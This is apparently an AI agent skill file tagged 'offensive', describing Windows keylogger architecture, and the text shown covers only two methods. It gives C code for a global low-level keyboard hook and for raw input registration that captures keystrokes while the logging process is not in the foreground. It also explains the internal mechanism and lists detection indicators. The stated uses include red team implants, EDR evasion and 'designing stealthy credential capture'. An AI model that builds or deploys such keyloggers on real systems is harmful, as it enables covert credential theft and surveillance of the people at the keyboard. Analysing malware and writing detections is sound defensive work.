keylogger-arch

---

name: keylogger-architecture description: Low-level keylogger architecture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques, IOC analysis metadata: type: offensive phase: research

Keylogger Architecture

When to Activate

• Understanding input capture mechanisms for red team implants
• Analyzing malware keylogging capabilities
• EDR evasion research for input monitoring
• Designing stealthy credential capture

Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)

How It Works

// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            LogKey(kb->vkCode);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

Internal Mechanism

1. SetWindowsHookEx → NtUserSetWindowsHookEx in win32k.sys
2. Kernel creates HOOK structure, inserts at head of global hook chain
3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC

IOCs

• Hook entry visible in !hook WinDbg command
• Installing thread must pump messages (detectable by message queue footprint)
• If regular hook: mapped DLL in every hooked process (VAD artifact)
• EDR can hook user32!SetWindowsHookEx to detect installation

Method 2: RegisterRawInputDevices

How It Works

// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;  // Generic Desktop
rid.usUsage = 0x06;      // Keyboard
rid.dwFlags = RIDEV_INPUTSINK;  // Receive input even when not foreground
rid.hwndTarget = hWnd;   // Message-only window

RegisterRawInputDevices(&rid, 1, sizeof(rid));

// In window procedure:
case WM_INPUT: {
    RAWINPUT raw;
    UINT size = sizeof(raw);
    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
    if (raw.header.dwType == RIM_TYPEKEYBOARD) {
        LogKey(raw.data.keyboard.VKey);
    }
}